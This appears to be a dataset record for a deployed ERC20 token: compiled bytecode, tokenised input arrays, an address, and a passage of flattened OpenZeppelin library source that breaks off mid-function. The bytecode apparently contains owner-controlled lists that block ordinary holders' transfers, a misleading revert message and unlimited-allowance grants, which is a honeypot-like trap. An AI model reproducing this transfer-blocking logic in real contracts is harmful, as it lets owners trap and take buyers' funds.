5b005b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109b95760018060008484815181106108e957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600080600084848151811061095357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a555780601f10610a2a57610100808354040283529160200191610a55565b820191906000526020600020905b815481529060010190602001808311610a3857829003601f168201915b5050505050905090565b6000610a73610a6c6113f6565b84846113fe565b6001905092915050565b6000600754905090565b6000610a948484846115f5565b610b5584610aa06113f6565b610b508560405180606001604052806028815260200161318560289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b066113f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b6113fe565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c4f81600754612dc790919063ffffffff16565b600781905550610cc98160056000600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b60056000600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9b33848381518110610e7a57fe5b6020026020010151848481518110610e8e57fe5b6020026020010151612e4f565b83811015610f6e576001600080858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fe565b5b8080600101915050610e61565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111695780601f1061113e57610100808354040283529160200191611169565b820191906000526020600020905b81548152906001019060200180831161114c57829003601f168201915b5050505050905090565b60006111876111806113f6565b84846115f5565b6001905092915050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f257600160008084848151811061132157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061138c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611307565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611484576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806131d26024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061313d6022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c45750600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119cf5781600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b611821868686613114565b61188d8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061192284600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cff565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a785750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ad05750600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2f57600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5d57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b6a57806002819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611bf0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b611c81868686613114565b611ced8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d8284600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfe565b600115156000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214c57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b611f9e868686613114565b61200a8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061209f84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfd565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561256857600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061224e5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6122a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061315f6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612329576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b6123ba868686613114565b6124268460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124bb84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfc565b60025481101561293c57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126775760018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b61278e868686613114565b6127fa8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061288f84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfb565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129e55750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061315f6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612ac0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b612b51868686613114565b612bbd8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c5284600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612db4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d79578082015181840152602081019050612d5e565b50505050905090810190601f168015612da65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ed5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612f5b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b612f66838383613114565b612fd28160405180606001604052806026815260200161315f60269139600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220918007451658bd98aeed7ea3d3d17a3fcee1b1baa83406545b3b93b38852c3cc64736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2620, 2497, 2487, 8586, 19481, 2692, 15878, 2575, 2475, 3401, 12879, 2620, 2475, 16409, 24096, 2575, 2620, 16068, 4402, 27531, 2050, 22025, 2850, 2509, 2063, 2549, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6185, 1011, 5641, 1008, 1013, 1013, 1013, 5371, 1024, 16602, 1013, 4895, 7849, 7377, 2140, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 4895, 7849, 7377, 2140, 19054, 3206, 1013, 1013, 1013, 1030, 3166, 4895, 7849, 7377, 2140, 1013, 1013, 1013, 1030, 5060, 2023, 2003, 2364, 9409, 19204, 1013, 1013, 1013, 1013, 1013, 1013, 1030, 16475, 3954, 1006, 4800, 5332, 2290, 1007, 2064, 2275, 2862, 1997, 19054, 19204, 2015, 9409, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,880
0x978B3aEc60fba0387299710Aa33F222E2033a09e
// File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := 